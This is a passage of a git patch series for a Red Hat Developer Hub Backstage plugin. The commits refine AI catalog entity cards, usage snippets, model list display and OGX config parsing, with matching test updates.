render( + await renderInTestApp( { expect(screen.getByRole('navigation')).toHaveAttribute( 'aria-label', - 'catalog.filter.title', + 'Filters', ); }); - it('uses labelKey for translation when provided', () => { + it('uses labelKey for translation when provided', async () => { const filter: FilterDefinition = { ...mockFilter('type', 'Fallback'), labelKey: 'catalog.filter.type', }; - render( + await renderInTestApp( { />, ); - expect(screen.getByText('catalog.filter.type')).toBeInTheDocument(); + expect(screen.getByText('Type')).toBeInTheDocument(); }); - it('uses plain label when labelKey is not set', () => { + it('uses plain label when labelKey is not set', async () => { const filter = mockFilter('ns', 'Namespace'); - render( + await renderInTestApp( |"getEntities(filter: kind + type)"| CatalogAPI[catalogApiRef] EntityCards[Entity Page Cards] -->|"useEntity()"| CatalogAPI - UsageTab[Usage Tab] -->|"useEntity() + permission check"| CatalogAPI - AdoptionCard[Adoption Card] -->|"copy or open source URL"| Browser[Browser] + EntityCards[Entity Cards] -->|"useEntity()"| CatalogAPI + UsageCard[Usage Card] -->|"copy or open source or endpoint URL"| Browser[Browser] GlobalSearch[Search Integration] -->|"search collator"| CatalogAPI ``` @@ -199,7 +198,7 @@ define duplicate `ai-catalog.*` entity permissions. A future backend API may add a narrowly scoped field-level authorization check only when it actually returns protected fields. -The unreleased Boost backend and the current Usage tab still contain +The unreleased Boost backend and the current Usage card still contain project-specific permission checks, currently named `ai-catalog.*`. These are current implementation examples for presentation or backend behavior, not a future permission-namespace requirement or the RHDH 2.1 release contract. From 8b25faaaa402a32990590e1fe4475b35412eb1af Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Tue, 15 Sep 2026 16:13:11 +0530 Subject: [PATCH 08/16] fix(boost): handle empty OGX optional config values --- .../specs/ai-catalog-translations/spec.md | 2 +- .../plugins/ogx-entity-provider/package.json | 1 + .../ogx-entity-provider/src/module.test.ts | 29 ++++++++++++++++++ .../plugins/ogx-entity-provider/src/module.ts | 30 +++++++++++-------- workspaces/boost/yarn.lock | 3 +- 5 files changed, 50 insertions(+), 15 deletions(-) diff --git a/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/specs/ai-catalog-translations/spec.md b/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/specs/ai-catalog-translations/spec.md index ca5d913373f..99e25864344 100644 --- a/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/specs/ai-catalog-translations/spec.md +++ b/workspaces/boost/openspec/changes/ai-catalog-frontend-translations/specs/ai-catalog-translations/spec.md @@ -53,7 +53,7 @@ Every user-facing string in the plugin MUST be translated. - **GIVEN** a user views an AI asset entity page in French - **WHEN** entity cards from the boost plugin render -- **THEN** Summary, Adoption, Version, and Usage tab titles and actions are all in French +- **THEN** AI asset details, agent instructions, and Usage card titles and actions are all in French #### Scenario: Error and empty state strings translated diff --git a/workspaces/boost/plugins/ogx-entity-provider/package.json b/workspaces/boost/plugins/ogx-entity-provider/package.json index 9f91954ed86..9a611f68039 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/package.json +++ b/workspaces/boost/plugins/ogx-entity-provider/package.json @@ -32,6 +32,7 @@ "@backstage/backend-plugin-api": "^1.10.0", "@backstage/catalog-model": "^1.10.0", "@backstage/plugin-catalog-node": "^2.2.4", + "@red-hat-developer-hub/backstage-plugin-boost-connector-utils": "workspace:^", "@red-hat-developer-hub/backstage-plugin-boost-entity-provider-sdk": "workspace:^", "undici": "^6.21.1" }, diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/module.test.ts b/workspaces/boost/plugins/ogx-entity-provider/src/module.test.ts index b07164d71a5..f597b2dd3b2 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/module.test.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/module.test.ts @@ -124,6 +124,35 @@ describe('readOgxEntityProviderConfig', () => { expect(result.skipTLSVerify).toBeUndefined(); }); + it('treats empty optional environment values as undefined', () => { + const config = new ConfigReader({ + boost: { + entityProviders: { + ogx: { + baseUrl: 'http://localhost:8321', + apiKey: '', + agents: [ + { + id: 'empty-agent', + name: 'Empty Agent', + version: '', + description: '', + }, + ], + }, + }, + }, + }); + + const result = readOgxEntityProviderConfig(config); + + expect(result.apiKey).toBeUndefined(); + expect(result.agents?.[0]).toMatchObject({ + version: undefined, + description: undefined, + }); + }); + it('falls back to localhost when no OGX config is present', () => { const config = new ConfigReader({}); diff --git a/workspaces/boost/plugins/ogx-entity-provider/src/module.ts b/workspaces/boost/plugins/ogx-entity-provider/src/module.ts index 4fada1bf1d1..f778657066d 100644 --- a/workspaces/boost/plugins/ogx-entity-provider/src/module.ts +++ b/workspaces/boost/plugins/ogx-entity-provider/src/module.ts @@ -19,6 +19,7 @@ import { createBackendModule, } from '@backstage/backend-plugin-api'; import { catalogProcessingExtensionPoint } from '@backstage/plugin-catalog-node'; +import { safeGetOptionalString } from '@red-hat-developer-hub/backstage-plugin-boost-connector-utils'; import { OgxModelEntityProvider } from './providers/OgxModelEntityProvider'; import { OgxAgentEntityProvider } from './providers/OgxAgentEntityProvider'; @@ -128,17 +129,17 @@ export function readOgxEntityProviderConfig( if (epConfig) { return { baseUrl: epConfig.getString('baseUrl'), - apiKey: epConfig.getOptionalString('apiKey'), + apiKey: safeGetOptionalString(epConfig, 'apiKey'), modelRefreshIntervalSeconds: epConfig.getOptionalNumber( 'modelRefreshIntervalSeconds', ), agentRefreshIntervalSeconds: epConfig.getOptionalNumber( 'agentRefreshIntervalSeconds', ), - defaultAgent: epConfig.getOptionalString('defaultAgent'), + defaultAgent: safeGetOptionalString(epConfig, 'defaultAgent'), maxAgentTurns: epConfig.getOptionalNumber('maxAgentTurns'), agents: readAgentConfigs(epConfig), - caData: epConfig.getOptionalString('caData'), + caData: safeGetOptionalString(epConfig, 'caData'), skipTLSVerify: epConfig.getOptionalBoolean('skipTLSVerify'), }; } @@ -149,11 +150,11 @@ export function readOgxEntityProviderConfig( if (providerConfig) { return { baseUrl: providerConfig.getString('baseUrl'), - apiKey: providerConfig.getOptionalString('apiKey'), - defaultAgent: providerConfig.getOptionalString('defaultAgent'), + apiKey: safeGetOptionalString(providerConfig, 'apiKey'), + defaultAgent: safeGetOptionalString(providerConfig, 'defaultAgent'), maxAgentTurns: providerConfig.getOptionalNumber('maxAgentTurns'), agents: readAgentConfigs(providerConfig), - caData: providerConfig.getOptionalString('caData'), + caData: safeGetOptionalString(providerConfig, 'caData'), skipTLSVerify: providerConfig.getOptionalBoolean('skipTLSVerify'), }; } @@ -186,18 +187,21 @@ function readAgentConfigs( return agentConfigs.map(agentConfig => ({ id: agentConfig.getString('id'), name: agentConfig.getString('name'), - version: agentConfig.getOptionalString('version'), - description: agentConfig.getOptionalString('description'), - instructions: agentConfig.getOptionalString('instructions'), - model: agentConfig.getOptionalString('model'), + version: safeGetOptionalString(agentConfig, 'version'), + description: safeGetOptionalString(agentConfig, 'description'), + instructions: safeGetOptionalString(agentConfig, 'instructions'), + model: safeGetOptionalString(agentConfig, 'model'), tools: agentConfig.getOptionalStringArray('tools'), handoffs: agentConfig.getOptionalStringArray('handoffs'), - handoffDescription: agentConfig.getOptionalString('handoffDescription'), + handoffDescription: safeGetOptionalString( + agentConfig, + 'handoffDescription', + ), enableRAG: agentConfig.has('enableRAG') ? String(agentConfig.getOptional('enableRAG')) === 'true' : undefined, - createdBy: agentConfig.getOptionalString('createdBy'), - lifecycleStage: agentConfig.getOptionalString('lifecycleStage') as + createdBy: safeGetOptionalString(agentConfig, 'createdBy'), + lifecycleStage: safeGetOptionalString(agentConfig, 'lifecycleStage') as | 'draft' | 'pending' | 'published' diff --git a/workspaces/boost/yarn.lock b/workspaces/boost/yarn.lock index 8f66bcfebb0..d75d2bca5e5 100644 --- a/workspaces/boost/yarn.lock +++ b/workspaces/boost/yarn.lock @@ -8871,7 +8871,7 @@ __metadata: languageName: unknown linkType: soft -"@red-hat-developer-hub/backstage-plugin-boost-connector-utils@workspace:plugins/boost-connector-utils": +"@red-hat-developer-hub/backstage-plugin-boost-connector-utils@workspace:^, @red-hat-developer-hub/backstage-plugin-boost-connector-utils@workspace:plugins/boost-connector-utils": version: 0.0.0-use.local resolution: "@red-hat-developer-hub/backstage-plugin-boost-connector-utils@workspace:plugins/boost-connector-utils" dependencies: @@ -9044,6 +9044,7 @@ __metadata: "@backstage/cli": "npm:^0.36.5" "@backstage/config": "npm:^1.3.2" "@backstage/plugin-catalog-node": "npm:^2.2.4" + "@red-hat-developer-hub/backstage-plugin-boost-connector-utils": "workspace:^" "@red-hat-developer-hub/backstage-plugin-boost-entity-provider-sdk": "workspace:^" undici: "npm:^6.21.1" languageName: unknown From d34642658a014375edae3ca3f9f9f09d05403309 Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Tue, 15 Sep 2026 16:22:58 +0530 Subject: [PATCH 09/16] fix(boost): preserve duplicate agent instructions --- .../catalog/entity/AgentInstructionsCard.test.tsx | 9 ++++++--- .../components/catalog/entity/AgentInstructionsCard.tsx | 7 ++----- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.test.tsx index 21896459fca..01f768f884d 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.test.tsx @@ -59,8 +59,8 @@ describe('AgentInstructionsCard', () => { expect(screen.getByText('short').tagName).toBe('CODE'); }); - it('does not repeat the entity description as instructions', async () => { - const { container } = await renderWithEntity({ + it('renders instructions even when they match the entity description', async () => { + await renderWithEntity({ ...agent, metadata: { ...agent.metadata, @@ -68,6 +68,9 @@ describe('AgentInstructionsCard', () => { }, }); - expect(container).toBeEmptyDOMElement(); + expect( + screen.getByText(boostMessages.catalog.card.instructionsTitle), + ).toBeInTheDocument(); + expect(screen.getByText('concise').tagName).toBe('STRONG'); }); }); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.tsx index 68ee65a1e57..23ddd700a6d 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AgentInstructionsCard.tsx @@ -19,10 +19,7 @@ import { useEntity } from '@backstage/plugin-catalog-react'; import { Card, CardBody, CardHeader, Text } from '@backstage/ui'; import { useTranslation } from '../../../hooks/useTranslation'; -import { - getDistinctSpecField, - getSpecField, -} from '../../../utils/entityHelpers'; +import { getSpecField } from '../../../utils/entityHelpers'; export const AgentInstructionsCard = () => { const { entity } = useEntity(); @@ -30,7 +27,7 @@ export const AgentInstructionsCard = () => { if (getSpecField(entity, 'type')?.toLowerCase() !== 'agent') return null; - const instructions = getDistinctSpecField(entity, 'instructions'); + const instructions = getSpecField(entity, 'instructions'); if (!instructions) return null; return ( From bb7d4ce3ba72f6b91ef902b6b37f313bd64bfef5 Mon Sep 17 00:00:00 2001 From: Rohit Rai Date: Tue, 15 Sep 2026 17:45:33 +0530 Subject: [PATCH 10/16] fix(boost): refine model list disclosure --- .../boost/fixtures/ai-catalog-fixtures.yaml | 45 +++++++ workspaces/boost/packages/app/package.json | 2 +- workspaces/boost/packages/app/src/App.tsx | 3 +- workspaces/boost/plugins/boost/report.api.md | 5 - .../catalog/entity/AssetDetailsCard.test.tsx | 42 +++++-- .../catalog/entity/AssetTypeDetails.tsx | 76 ++++++------ .../entity/AvailableModelsDialog.test.tsx | 11 +- .../catalog/entity/AvailableModelsDialog.tsx | 6 +- .../catalog/entity/UsageCard.module.css | 54 -------- .../catalog/entity/UsageCard.test.tsx | 42 +------ .../components/catalog/entity/UsageCard.tsx | 115 +++--------------- .../plugins/boost/src/translations/ref.ts | 7 +- workspaces/boost/yarn.lock | 42 ++----- 13 files changed, 161 insertions(+), 289 deletions(-) delete mode 100644 workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.module.css diff --git a/workspaces/boost/fixtures/ai-catalog-fixtures.yaml b/workspaces/boost/fixtures/ai-catalog-fixtures.yaml index 9067b27f1a8..c6f0c2addf8 100644 --- a/workspaces/boost/fixtures/ai-catalog-fixtures.yaml +++ b/workspaces/boost/fixtures/ai-catalog-fixtures.yaml @@ -226,3 +226,48 @@ spec: - granite-3-code - granite-3-instruct default: granite-3-instruct + +--- +# --------------------------------------------------------------------------- +# AiModelServerAPI / ai-model-server with a larger model catalog +# --------------------------------------------------------------------------- +apiVersion: backstage.io/v1alpha1 +kind: AiModelServerAPI +metadata: + name: multi-model-server + title: Multi-Model Server + description: Model server exposing a larger catalog of available models. + tags: + - model-server + - inference + - multi-model + annotations: + rhdh.io/ai-asset-category: model-server + rhdh.io/ai-asset-version: '3.0.0' + rhdh.io/ai-asset-source: model-registry + links: + - title: API + url: https://models.example.com/v1 +spec: + type: ai-model-server + lifecycle: production + owner: team-ml-ops + serverType: openai-v1 + serverUrl: https://models.example.com/v1 + requiresApiKey: true + models: + discoverable: true + available: + - granite-3-code + - granite-3-instruct + - llama-3.1-8b-instruct + - llama-3.1-70b-instruct + - mistral-7b-instruct + - mixtral-8x7b-instruct + - qwen2.5-7b-instruct + - qwen2.5-coder-7b + - gemma-3-12b-it + - phi-4 + - deepseek-r1-distill-qwen-32b + - command-r-plus + default: llama-3.1-8b-instruct diff --git a/workspaces/boost/packages/app/package.json b/workspaces/boost/packages/app/package.json index def9e472de5..ccf096d5032 100644 --- a/workspaces/boost/packages/app/package.json +++ b/workspaces/boost/packages/app/package.json @@ -33,7 +33,7 @@ "@mui/icons-material": "^5.17.1", "@mui/material": "^5.17.1", "@red-hat-developer-hub/backstage-plugin-boost": "workspace:^", - "@red-hat-developer-hub/backstage-plugin-theme": "^0.15.0", + "@red-hat-developer-hub/backstage-plugin-theme": "^1.2.0", "react": "^18.0.2", "react-dom": "^18.0.2", "react-router": "^6.30.4", diff --git a/workspaces/boost/packages/app/src/App.tsx b/workspaces/boost/packages/app/src/App.tsx index 2cac93ae048..ba9e6e2b528 100644 --- a/workspaces/boost/packages/app/src/App.tsx +++ b/workspaces/boost/packages/app/src/App.tsx @@ -15,12 +15,11 @@ */ import { createApp } from '@backstage/frontend-defaults'; -import { rhdhThemeModule } from '@red-hat-developer-hub/backstage-plugin-theme/alpha'; import { navModule } from './modules/nav'; import { sampleFilterModule } from './modules/sampleFilter'; import { signInModule } from './modules/signIn'; export default createApp({ - features: [rhdhThemeModule, signInModule, navModule, sampleFilterModule], + features: [signInModule, navModule, sampleFilterModule], }); diff --git a/workspaces/boost/plugins/boost/report.api.md b/workspaces/boost/plugins/boost/report.api.md index 2fe2a237e48..840bce76d21 100644 --- a/workspaces/boost/plugins/boost/report.api.md +++ b/workspaces/boost/plugins/boost/report.api.md @@ -400,9 +400,6 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.card.providerLabel': string; readonly 'catalog.card.usageTitle': string; readonly 'catalog.card.versionLabel': string; - readonly 'catalog.card.copyCommand': string; - readonly 'catalog.card.copied': string; - readonly 'catalog.card.copyFailed': string; readonly 'catalog.card.usageDownloadZip': string; readonly 'catalog.card.usageViewSource': string; readonly 'catalog.card.serverTypeLabel': string; @@ -416,9 +413,7 @@ export const boostTranslationRef: TranslationRef< readonly 'catalog.card.toolsLabel': string; readonly 'catalog.card.remotesLabel': string; readonly 'catalog.card.definitionLabel': string; - readonly 'catalog.card.viewDefinition': string; readonly 'catalog.card.modelsTitle': string; - readonly 'catalog.card.modelsAvailableSuffix': string; readonly 'catalog.card.modelTitle': string; readonly 'catalog.card.viewModels': string; readonly 'catalog.card.modelsDialogTitle': string; diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx index 544ab832121..2531f0f3861 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetDetailsCard.test.tsx @@ -170,7 +170,7 @@ describe('AssetDetailsCard', () => { ).toBeInTheDocument(); }); - it('renders MCP remotes and a collapsible definition', async () => { + it('renders MCP remotes and the definition', async () => { await renderWithEntity(mcpEntity); expect( @@ -179,7 +179,14 @@ describe('AssetDetailsCard', () => { }), ).toBeInTheDocument(); expect( - screen.getByRole('button', { name: msg.card.viewDefinition }), + screen.getByText( + (_content, element) => + element?.tagName === 'PRE' && + (element.textContent ?? '').includes('openapi: 3.0.0'), + ), + ).toBeInTheDocument(); + expect( + await screen.findByRole('button', { name: 'Copy text' }), ).toBeInTheDocument(); }); @@ -241,9 +248,10 @@ describe('AssetDetailsCard', () => { it('renders agent-only fields and available models', async () => { await renderWithEntity(agentEntity); + expect(screen.getByText('granite-8b')).toBeInTheDocument(); expect( - screen.getByText(`1 ${msg.card.modelsAvailableSuffix}`), - ).toBeInTheDocument(); + screen.queryByRole('button', { name: /View all models/ }), + ).toBeNull(); expect(screen.getByText(msg.card.modelTitle)).toBeInTheDocument(); expect( screen.getByText('resource:default/web-search-tool'), @@ -251,10 +259,6 @@ describe('AssetDetailsCard', () => { expect( screen.getByText('openai/vllm-inference/gpt-4.1'), ).toBeInTheDocument(); - fireEvent.click(screen.getByRole('button', { name: msg.card.viewModels })); - expect(screen.getByRole('dialog')).toBeInTheDocument(); - expect(screen.getByText('granite-8b')).toBeInTheDocument(); - fireEvent.click(screen.getByRole('button', { name: 'Close' })); expect( screen.getByText(msg.card.handoffDescriptionTitle), ).toBeInTheDocument(); @@ -263,6 +267,28 @@ describe('AssetDetailsCard', () => { expect(screen.getByText(msg.card.yes)).toBeInTheDocument(); }); + it('shows the first five models inline and the rest in a dialog', async () => { + const models = Array.from({ length: 6 }, (_, index) => `model-${index}`); + + await renderWithEntity({ + ...agentEntity, + spec: { ...agentEntity.spec, models: { available: models } }, + }); + + for (const model of models.slice(0, 5)) { + expect(screen.getByText(model)).toBeInTheDocument(); + } + expect(screen.queryByText('model-5')).toBeNull(); + + fireEvent.click( + screen.getByRole('button', { + name: `${msg.card.viewModels} (${models.length})`, + }), + ); + expect(screen.getByRole('dialog')).toBeInTheDocument(); + expect(screen.getByText('model-5')).toBeInTheDocument(); + }); + it('renders the translated disabled RAG status', async () => { await renderWithEntity({ ...agentEntity, diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetTypeDetails.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetTypeDetails.tsx index 65480d45391..611e2d1bf04 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetTypeDetails.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AssetTypeDetails.tsx @@ -14,19 +14,10 @@ * limitations under the License. */ -import { CodeSnippet } from '@backstage/core-components'; import type { Entity } from '@backstage/catalog-model'; +import { CodeSnippet } from '@backstage/core-components'; import { EntityRefLinks } from '@backstage/plugin-catalog-react'; -import { - Accordion, - AccordionPanel, - AccordionTrigger, - Flex, - Link, - Text, - Tag, - TagGroup, -} from '@backstage/ui'; +import { Flex, Link, Text, Tag, TagGroup } from '@backstage/ui'; import { Fragment, type ReactNode } from 'react'; import { useTranslation } from '../../../hooks/useTranslation'; @@ -41,6 +32,8 @@ import { import { AvailableModelsDialog } from './AvailableModelsDialog'; import { HandoffTargets } from './HandoffTargets'; +const INLINE_MODEL_LIMIT = 5; + function getBooleanSpecField( entity: Entity, field: string, @@ -164,6 +157,23 @@ function ValueTags({ label, values }: { label: string; values: string[] }) { ); } +function AvailableModels({ models }: { models: string[] }) { + const visibleModels = models.slice(0, INLINE_MODEL_LIMIT); + + return ( + + {visibleModels.map((model, index) => ( + + {model} + + ))} + {models.length > INLINE_MODEL_LIMIT && ( + + )} + + ); +} + function RemoteLinks({ remotes, }: { @@ -241,14 +251,7 @@ function AgentDetails({ details }: { details: AssetTypeDetailsData }) { )} {details.modelsAvailable.length > 0 && ( - - - {`${details.modelsAvailable.length} ${t( - 'catalog.card.modelsAvailableSuffix', - )}`} - - - + )} {details.tools.length > 0 && ( @@ -303,14 +306,7 @@ function ModelServerDetails({ details }: { details: AssetTypeDetailsData }) { )} {details.modelsAvailable.length > 0 && ( - - - {`${details.modelsAvailable.length} ${t( - 'catalog.card.modelsAvailableSuffix', - )}`} - - - + )} @@ -329,19 +325,19 @@ function McpServerDetails({ details }: { details: AssetTypeDetailsData }) { )} {details.definition && ( - - - {t('catalog.card.viewDefinition')} - - - - - + )} diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.test.tsx index efe9dc1d3c6..6da9028ddf4 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.test.tsx @@ -29,10 +29,19 @@ describe('AvailableModelsDialog', () => { await renderInTestApp(); expect(screen.queryByText('model-24')).toBeNull(); - fireEvent.click(screen.getByRole('button', { name: msg.card.viewModels })); + fireEvent.click( + screen.getByRole('button', { + name: `${msg.card.viewModels} (${models.length})`, + }), + ); expect(screen.getByText('model-0')).toBeInTheDocument(); expect(screen.queryByText('model-24')).toBeNull(); + expect( + screen.getByRole('button', { + name: /Show 10 results.*Select table page size/, + }), + ).toBeInTheDocument(); fireEvent.change(screen.getByRole('searchbox'), { target: { value: 'model-24' }, diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.tsx index cd072164b8b..04810a33150 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/AvailableModelsDialog.tsx @@ -70,15 +70,15 @@ export const AvailableModelsDialog = ({ }, paginationOptions: { type: 'page', - pageSize: 20, - pageSizeOptions: [20, 50, 100], + pageSize: 10, + pageSizeOptions: [10, 20, 50], }, }); return ( diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.module.css b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.module.css deleted file mode 100644 index b3a53edb4fd..00000000000 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.module.css +++ /dev/null @@ -1,54 +0,0 @@ -/* - * Copyright Red Hat, Inc. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -@layer components { - .commandBlock { - display: flex; - align-items: center; - gap: var(--bui-space-2); - width: 100%; - padding: var(--bui-space-2); - border: 1px solid var(--bui-border-1); - border-radius: var(--bui-radius-2); - background: var(--bui-bg-neutral-2); - } - - .command { - flex: 1; - min-width: 0; - margin: 0; - padding: var(--bui-space-1) var(--bui-space-2); - overflow-wrap: anywhere; - color: var(--bui-fg-primary); - font-family: - ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, 'Liberation Mono', - 'Courier New', monospace; - font-size: var(--bui-font-size-2); - line-height: 1.4; - white-space: pre-wrap; - } - - @media (max-width: 480px) { - .commandBlock { - align-items: stretch; - flex-direction: column; - } - - .commandBlock button { - align-self: flex-start; - } - } -} diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx index 5c1df70792b..1f2d71edbf1 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.test.tsx @@ -24,11 +24,8 @@ import { import { renderInTestApp, TestApiProvider } from '@backstage/test-utils'; import { fireEvent, screen } from '@testing-library/react'; -import { boostMessages } from '../../../translations/ref'; import { UsageCard } from './UsageCard'; -const { catalog: msg } = boostMessages; -const writeText = jest.fn(); const permissionApi: jest.Mocked = { authorize: jest.fn(), }; @@ -176,12 +173,7 @@ function renderWithEntity(entity: Entity, allowed = true) { describe('UsageCard', () => { beforeEach(() => { - writeText.mockReset().mockResolvedValue(undefined); permissionApi.authorize.mockReset(); - Object.defineProperty(navigator, 'clipboard', { - configurable: true, - value: { writeText }, - }); }); it('renders npx command for skill entities', async () => { @@ -191,7 +183,7 @@ describe('UsageCard', () => { screen.getByText('npx skills add code-review-skill'), ).toBeInTheDocument(); expect( - screen.getByRole('button', { name: msg.card.copyCommand }), + screen.getByRole('button', { name: 'Copy text' }), ).toBeInTheDocument(); }); @@ -207,31 +199,7 @@ describe('UsageCard', () => { await renderWithEntity(deniedEntity, false); expect(screen.queryByText('npx skills add code-review-skill')).toBeNull(); - expect( - screen.queryByRole('button', { name: msg.card.copyCommand }), - ).toBeNull(); - }); - - it('shows copied feedback after copying a command', async () => { - await renderWithEntity(skillEntity); - - fireEvent.click(screen.getByRole('button', { name: msg.card.copyCommand })); - - expect( - await screen.findByRole('button', { name: msg.card.copied }), - ).toBeInTheDocument(); - expect(writeText).toHaveBeenCalledWith('npx skills add code-review-skill'); - }); - - it('shows an error when copying a command fails', async () => { - writeText.mockRejectedValueOnce(new Error('clipboard unavailable')); - await renderWithEntity(skillEntity); - - fireEvent.click(screen.getByRole('button', { name: msg.card.copyCommand })); - - expect(await screen.findByRole('status')).toHaveTextContent( - msg.card.copyFailed, - ); + expect(screen.queryByRole('button', { name: 'Copy text' })).toBeNull(); }); it('renders podman pull command for OCI-sourced entities', async () => { @@ -243,7 +211,7 @@ describe('UsageCard', () => { ), ).toBeInTheDocument(); expect( - screen.getByRole('button', { name: msg.card.copyCommand }), + screen.getByRole('button', { name: 'Copy text' }), ).toBeInTheDocument(); }); @@ -267,7 +235,7 @@ describe('UsageCard', () => { screen.getByText('https://mcp.example.com/github'), ).toBeInTheDocument(); expect( - screen.getByRole('button', { name: msg.card.copyCommand }), + screen.getByRole('button', { name: 'Copy text' }), ).toBeInTheDocument(); }); @@ -278,7 +246,7 @@ describe('UsageCard', () => { screen.getByText('https://granite.example.com/v1'), ).toBeInTheDocument(); expect( - screen.getByRole('button', { name: msg.card.copyCommand }), + screen.getByRole('button', { name: 'Copy text' }), ).toBeInTheDocument(); }); diff --git a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx index 29798de8b1e..ba58facb216 100644 --- a/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx +++ b/workspaces/boost/plugins/boost/src/components/catalog/entity/UsageCard.tsx @@ -14,112 +14,17 @@ * limitations under the License. */ -import { useEffect, useRef, useState } from 'react'; import { stringifyEntityRef } from '@backstage/catalog-model'; +import { CodeSnippet } from '@backstage/core-components'; import { useEntity } from '@backstage/plugin-catalog-react'; import { usePermission } from '@backstage/plugin-permission-react'; -import { - Button, - Card, - CardBody, - CardHeader, - Text, - VisuallyHidden, -} from '@backstage/ui'; -import { - RiCheckLine, - RiDownload2Line, - RiExternalLinkLine, - RiFileCopyLine, -} from '@remixicon/react'; +import { Button, Card, CardBody, CardHeader, Text } from '@backstage/ui'; +import { RiDownload2Line, RiExternalLinkLine } from '@remixicon/react'; import { aiCatalogAssetAccessUsageDocsPermission } from '@red-hat-developer-hub/backstage-plugin-boost-common'; import { useTranslation } from '../../../hooks/useTranslation'; import { getUsageAction } from '../../../utils/usageActions'; -import styles from './UsageCard.module.css'; - -const COPY_FEEDBACK_MS = 2000; - -function CopyCommand({ value }: { value: string }) { - const { t } = useTranslation(); - const [copyState, setCopyState] = useState<'idle' | 'copied' | 'failed'>( - 'idle', - ); - const resetTimer = useRef | undefined>( - undefined, - ); - - useEffect(() => { - return () => { - if (resetTimer.current) { - clearTimeout(resetTimer.current); - resetTimer.current = undefined; - } - }; - }, []); - - const handleCopy = async () => { - if (resetTimer.current) { - clearTimeout(resetTimer.current); - resetTimer.current = undefined; - } - - if (!navigator.clipboard?.writeText) { - setCopyState('failed'); - return; - } - - try { - await navigator.clipboard.writeText(value); - setCopyState('copied'); - resetTimer.current = setTimeout(() => { - setCopyState('idle'); - resetTimer.current = undefined; - }, COPY_FEEDBACK_MS); - } catch { - setCopyState('failed'); - } - }; - - let feedback = ''; - if (copyState === 'copied') feedback = t('catalog.card.copied'); - if (copyState === 'failed') feedback = t('catalog.card.copyFailed'); - - return ( - <> -
-
-          {value}
-        
- -
- {copyState === 'failed' && ( - - {t('catalog.card.copyFailed')} - - )} - - {feedback} - - - ); -} export const UsageCard = () => { const { entity } = useEntity(); @@ -142,7 +47,19 @@ export const UsageCard = () => { {action.type === 'copy' ? ( - + ) : ( - )} - - { - const selected = [...keys][0] as string | undefined; - if (selected === 'grid' || selected === 'table') { - setViewMode(selected); - } - }} - disallowEmptySelection - > - } - /> - } - /> - - - - -
- {totalCount === 0 && hasActiveFilters && ( - - )} - - {totalCount > 0 && viewMode === 'grid' && ( - - {pagedEntities.map(entity => ( - - - - ))} - - )} - - {totalCount > 0 && viewMode === 'table' && ( - - )} -
- - {totalCount > 0 && ( - - setPage(page + 1)} - onPreviousPage={() => setPage(page - 1)} - onPageSizeChange={setPageSize} - /> - - )} - - -
